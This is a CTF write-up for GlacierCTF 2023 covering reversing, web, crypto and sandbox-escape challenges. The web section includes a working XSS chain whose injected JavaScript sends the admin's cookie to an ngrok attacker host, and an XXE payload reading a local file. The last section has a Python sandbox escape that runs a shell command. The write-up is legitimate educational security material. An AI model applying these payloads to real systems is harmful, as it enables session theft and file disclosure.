# io @ GlacierCTF 2023 - Writeups Great CTF, very challenging and enjoyable. In solving order: ## intro / Skilift - `top.v`: ``` module top( input [63:0] key, output lock ); reg [63:0] tmp1, tmp2, tmp3, tmp4; // Stage 1 always @(*) begin tmp1 = key & 64'hF0F0F0F0F0F0F0F0; end // Stage 2 always @(*) begin tmp2 = tmp1 <<< 5; end // Stage 3 always @(*) begin tmp3 = tmp2 ^ "HACKERS!"; end // Stage 4 always @(*) begin tmp4 = tmp3 - 12345678; end // I have the feeling "lock" should be 1'b1 assign lock = tmp4 == 64'h5443474D489DFDD3; endmodule ``` Googling the keywords (`module input output reg always endmodule`) suggests the language is Verilog. The unknown 64-bit input key (int) is bitwise-`and`-ed (`&`) with 0xF0F0F0F0F0F0F0F0, shifted left (`<<`) with 5, bitwise-`xor`-ed with the ASCII bytes "HACKERS!" (encoded as a big endian `int`), 12345678 is subtracted and the result is expected to be 0x5443474D489DFDD3. Solution: invert the steps: ```python import struct hex(((0x5443474D489DFDD3 + 12345678) ^ struct.unpack('>Q', b'HACKERS!')[0]) >> 5)` # => 0xe0102030604060 ``` => `gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}` ## web / Glacier Exchange This is a website implementing a "crypto exchange / wallet" which allows converting funds between accounts in various coins + a cash account. - from `src/wallet.py`: ```py ... self.balances = { "cashout": 1000, "glaciercoin": 0, "ascoin": 0, "doge": 0, "gamestock": 0, "ycmi": 0, "smtl": 0 } ... def transaction(self, source, dest, amount): if source in self.balances and dest in self.balances: with self.lock: if self.balances[source] >= amount: self.balances[source] -= amount self.balances[dest] += amount return 1 return 0 def inGlacierClub(self): with self.lock: for balance_name in self.balances: if balance_name == "cashout": if self.balances[balance_name] < 1000000000: return False else: if self.balances[balance_name] != 0.0: return False return True ``` The objective appears to be to "join the Glacier club" - from `server.py`: ```py @app.route("/api/wallet/join_glacier_club", methods=["POST"]) def join_glacier_club(): wallet = get_wallet_from_session() clubToken = False inClub = wallet.inGlacierClub() if inClub: f = open("/flag.txt") clubToken = f.read() f.close() return { "inClub": inClub, "clubToken": clubToken } ``` So the goal is to get at least a balance of `1000000000` in the cash account (`'cashout'`) while keeping exactly `0` in the others. Solution: the check `if self.balances[source] >= amount` can be bypassed using negative amounts, and the huge granularity of very large floats can then be exploited to subtract a large amount from one without changing its value. Steps: - move `-1e300` from any non-cash account to another (e.g. `doge` to `gamestock`) - this means having `-1e300` in the `gamestock` account and `1e300` in the `doge` account - move 1000000000 (or more) from the `doge` account to the `cashout` account - this won't change the amount in the `doge` account because of the large gaps in sequential values which can be represented as floating point numbers (IEEE 756), leaving the original float value unchanged (`1e300`) - move `-1e300` back from `gamestock` to `doge` - call `/api/wallet/join_glacier_club` ```bash # using httpie, first get a session key (generated automatically by several APIs and returned as cookie): http -v 'https://glacierexchange.web.glacierctf.com/api/wallet/balances'|grep session|cut -d= -f2|cut -d';' -f1 >session # perform the transfers above via API http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=gamestock balance=-1e300 Cookie:session=`cat session` http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=cashout balance=1000000000000000000000 Cookie:session=`cat session` http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=gamestock targetCoin=doge balance=-1e300 Cookie:session=`cat session` # check balance to make sure all went well http 'https://glacierexchange.web.glacierctf.com/api/wallet/balances' Cookie:session=`cat session` # join the club, get flag http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club' Cookie:session=`cat session` # => { "clubToken": "gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}", "inClub": true } ``` ## web / Peak This is a PHP website with an XSS exercise (suggested by the automated "admin" in `admin-simulation\admin.py`, which checks "support" messages every 5s). The XSS is apparent via `web/pages/contact.php` - the `$message['content']` is not escaped in `web/pages/view_message.php` (like the other fields, which are escaped using `htmlentities()`), but: - due to `header("Content-Security-policy: script-src 'self'")` in `includes/csp.php` inline scripts won't run - the uploaded image is checked in `actions/contact.php` to have a valid format via `@getimagesize()` - this will actually validate the image header and return the width / height of the image - sidenote: I've attempted to build polyglots which JS-comment the image header but the check appears to be explicit so that failed - `php_flag engine off` in `uploads/.htaccess`, so injected PHP code won't work Requests are forced to HTTPS by the headless Chrome browser automated for the admin (using _Selenium_), but it accepts self-signed certs (`'--ignore-certificate-errors'`). `<meta>` refresh works, so it can be used to redirect the admin to an attacker-controlled page by posting this content in the support request body: ```html <meta http-equiv="refresh" content="3;url=https://1.tcp.eu.ngrok.io:1234/" /> ``` In `web/admin/map.php`, some fields of the POSTed `XML` data are injected into a script tag, and CSP is not enabled for this page (presumably because it uses external JS scripts): ```php ... <script> var map = L.map('map').setView([0, 0], 12); ... <?php ... try { $xmlData = ""; if ($_SERVER["REQUEST_METHOD"] === "POST") { $xmlData = $_POST["data"]; if(!parseXML($xmlData)) $xmlData = ""; } ... $xml = parseXML($xmlData); foreach($xml->marker as $marker) { $name = str_replace("\n", "\\n", $marker->name); echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'. $name. '").openPopup();' . "\n"; echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n"; } ... ?> </script> ``` The next step is to return an HTML to the victim (as a response to the meta-refresh-based page request above) which auto-submits the `<form>` in `map.php` (using JS) and uses a crafted XML to run JS code and leak the session key (contained in the `PHPSESSID` cookie). We fill in the `<lon>` field in the XML with JS code to end the call we're in the middle of, then create an `<img>` and point it to our server, leaking the cookies: ```html <!doctype html> <form method="post" action="https://peak.web.glacierctf.com/admin/map.php"> <input name="data" id="data" value='<markers><marker><lat>1</lat><lon>1"],9);new Image().src="https://1.tcp.eu.ngrok.io:1234/cookie?"+document.cookie;//</lon><name>x</name></marker></markers>' /> <button id="submit" type="submit">Submit</button> </form> <script>document.getElementById("submit").click()</script> ``` We then get the `PHPSESSID` cookie, which we inject into our browser: ``` GET /cookie?PHPSESSID=joxAG8Db9UKE9vlO9V4yYg4zd7 HTTP/1.1 ``` Again in `map.php`, `LIBXML_NOENT` (which enables the substitution of XML character entity references, which may be external) is passed to `simplexml_load_string()`, so the posted XML should be vulnerable to an XXE attack. Reference: <https://brightsec.com/blog/xxe-vulnerability/> We POST a crafted XML to that page and get the flag: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <markers> <marker> <lat>47.0748663672</lat> <lon>12.695247219</lon> <name>&xxe;</name> </marker> </markers> ``` => `gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}` ## crypto / Missing Bits We are provided with a script which encrypts a buffer using an RSA private key and with that key, but partially overwritten with blanks: ``` xwiBgUBTtaSyUvdrqfgAEduRdnzRbKcwEheMxwIDAQABAoIBAAqaJbojNCwYqykz n0Fn2sxMsho4PhThPQcX79AGqSxVNxviWK2GXETP7SsnvWGmRXHIRnR6JGOhyHVe dTDYZxOAOhl85FksVQYVUaygf9Epekja/vSj5OE8NIcAdEBr3aZ6gdLxi+q1a5Kh 1nEmsF6FiYGpsPkN63ovbow/CKt4N7UQJqZEQw380rNA0sOQenmzXRFOpXA8PRFb G6itGRiP1gB9tpdQnWggQ5n+x8/2k+k3CRW6/xIP9dMAVZh2jVombenLxgnhQCJB bYaR4I8B0zzYqXqFfeHCMNl+pJmmmFcvs2ZE71fqyjRid6ZDqS4GXtSuRQM0UL7L UQVBaYECgYEA5BiLN7FjwgOuT4FKxFdzizdq/t5mvRksbmBP/JWk3vxQYeCmMiPQ xrQUqdHGGxG8iMIwH7dnhNaPa81lrP9fCKyij/caEbe4lmEm+VdM/xZQF+PiCc1f ziYXphz9wuAc8++kvKxM2EaiDe8F25nsXW+FaxNoXKbJg0zTQLyzKiECgYEA8SLi hbAwo2l0zal8GMIemzr+APxLw+fmd4aryVAMov8ANkG8KDMwdmvvkn3rL7WaKym5 fakqvXR45/QGPe8niVzx6oaWGSSfijeVan27pG/bzVqyymFHZP9cRhEHW4HN57hO pXy0kUFqVaxJWCs+thH0LTZoToAepg+sr82FaecCgYEAnJnpQzRsHDEwxO8sqP6t moBS2mdRPDUDV0iSwgTvrBSpD3oQQM5sMXBD24/lpoIX4gEIz025Ke+xij77trmh wq/b8GGjqVRsy/opqvjwKRZlqPFRKI+zXjKy+95dryT1W9lFTjAxli9wZYaci/fy 2veNL0Wk2i+8nIPraj/j9mECgYEA0ou6LC7OGTDwKs7sqxV78eBNfoDMis7GPeEZ x9ocXom3HqjA6HzhuNS/xzIpE2xGo5939c+qoOe81hMNDDDwXZEJLdS75FJE90NX NDd6iracvi6OZAUSeI47fHZL7UtmhQg5q2c6poXumcWn+NMxm3oLsRqLcteNa0PO bWZPMksCgYBidblknACvEinDUQB8dvElzROql0ZUMX9hQOsSrg0ju3smun8qujcT PJQrWctoNw0ZXnQjDkVzaJxog1F3QkKUg6B1Rn2Q0RYuCAeNDn+KqBkTT18Du7yw +GU/4U6EMw+uL7dNjasD1jjx90ro6RmDDBmGDQuludO0G7h9XQzl+Q== -----END RSA PRIVATE KEY----- ``` The `-----END RSA PRIVATE KEY-----` marker suggests it is a `PKCS#1`-encoded key, generated by older versions of OpenSSL (more recent versions have `-----END PRIVATE KEY-----`, which is `PKCS#8`). So we grab an older version (`1.0.0j` in my case) and generate keys of several plausible sizes (512, 1024, 2048, 4096) with e.g. `openssl genrsa 512 >key` and diff-compare the produced keys with the one above. The 2048-bit key matches. Underneath the Base64 is a fixed-structure ASN.1 encoded set of values, among which `N` (_modulus_), `p` (`prime1`), `q` (`prime2`), `e` (`publicExponent`) etc. We can either identify the fixed offsets where the values start (after decoding the Base64 wrapper) based on the information printed by `openssl rsa -text -noout -in key` or we can use the top 6 lines from the valid key generated above and overwrite the blanked part of the given private key. It becomes obvious that the overwritten part only contains `N`, which can easily be recovered (as `P` * `Q`). To decrypt the text however we only need either the private exponent or P and Q: ```py import math P = ... Q = ... e = 65537 ciphertext = ... def int_to_bytes(n): return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big') N = P * Q phi = (P - 1) * (Q - 1) if math.gcd(phi, e) > 1: raise ValueError('Invalid φ + e!') D = pow(e, -1, phi) print(int_to_bytes(pow(ciphertext, D, N))) ``` => ``` Hey Bob this is Alice. I want to let you know that the Flag is gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed} ``` ## intro / ARISAI - `chall.py`: ```py from Crypto.Util.number import bytes_to_long from Crypto.Util.number import getPrime PRIME_LENGTH = 24 NUM_PRIMES = 256 FLAG = b"gctf{redacted}" N = 1 e = 65537 for i in range(NUM_PRIMES): prime = getPrime(PRIME_LENGTH) N *= prime ct = pow(bytes_to_long(FLAG), e, N) print(f"{N=}") print(f"{e=}") print(f"{ct=}") ``` The output of the above code is given as `output.txt`. The challenge is RSA-based - the modulus `N` is made up of 256 24-bit primes instead of two large ones (`P` / `Q`), which appears to be allowed _in principle_ by the RSA standard (and called a "Multi-prime RSA", or "RSA-MP") but the primes cannot repeat (in this case they do) and there is a much lower limit on their number (around 4 for a 2048 bit key). Solution: - factor the large number (trivial), get a list of `factors` ```py i = int(2 ** 23) # the range is 2**23..2**24-1 while N > 1: while N % i == 0: print(i, sep='', end=', ') sys.stdout.flush() N //= i i += 1 print() ``` - `φ` (`phi`, the _totient function_, used for decryption, `(p-1)*(q-1)` for regular RSA), can be computed as the product of `pow(p, count - 1) * (p - 1)` for each `p` in `factors` (`count` being the number of times `p` appears in `factors`) - the decryption key / exponent (`D`) is computed as `pow(e, -1, phi)`, then the ciphertext can be decrypted - assuming `factors` from above and the given values of `N`, `e` and `ct` (ciphertext) from `output.txt` (given): ```py from operator import mul from functools import reduce def int_to_bytes(n): return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big') N = ... e = ... ct = ... factors = ... factors_1 = [] for p in set(factors): cnt = factors.count(p) factors_1.append(pow(p, cnt - 1) * (p - 1)) phi = reduce(mul, factors_1, 1) D = pow(e, -1, phi) print(int_to_bytes(pow(ct, D, N))) ``` => `gctf{maybe_I_should_have_used_bigger_primes}` ### misc / Avatar Failed this one, but I have no idea why. The solution worked locally, so here it is. The challenge double-evals a string received from the attacker - `chall.py`: ```py print("You get one chance to awaken from the ice prison.") code = input("input: ").strip() whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag if any([x not in whitelist for x in code]) or len(code) > 40000: print("Denied!") exit(0) eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {}) ``` Both `eval()`s have disabled `__builtins__` and `globals()` and the input command is filtered - only the chars `gctf{}"*+()=>:/` are allowed. To bypass the filter: - numbers can be obtained by adding `bool`s: `(()==())+(()==())` (i.e. `True+True`) evaluates to `2` - f-strings can be used to generate characters from those numbers (`f"{...:c}"`) to be then evaluated by the outer `eval()` - the encoded string looks something like `f"{((((({}=={})+({}=={}))**(({}=={})+...+((({}=={})+({}=={})))+({}=={}):c}"` To print flag.txt without `globals` and `__builtins__`, we get `__builtins__` (as a dict): `[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__["__import__"]('os').system('cat flag.txt')`. Reference: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md This string will be passed to the encoder above, a ~22k buffer is produced, which prints `flag.txt` locally: ```sh $ python3 chall.py <buffer You get one chance to awaken from the ice prison. input: cat: flag.txt: No such file or directory ```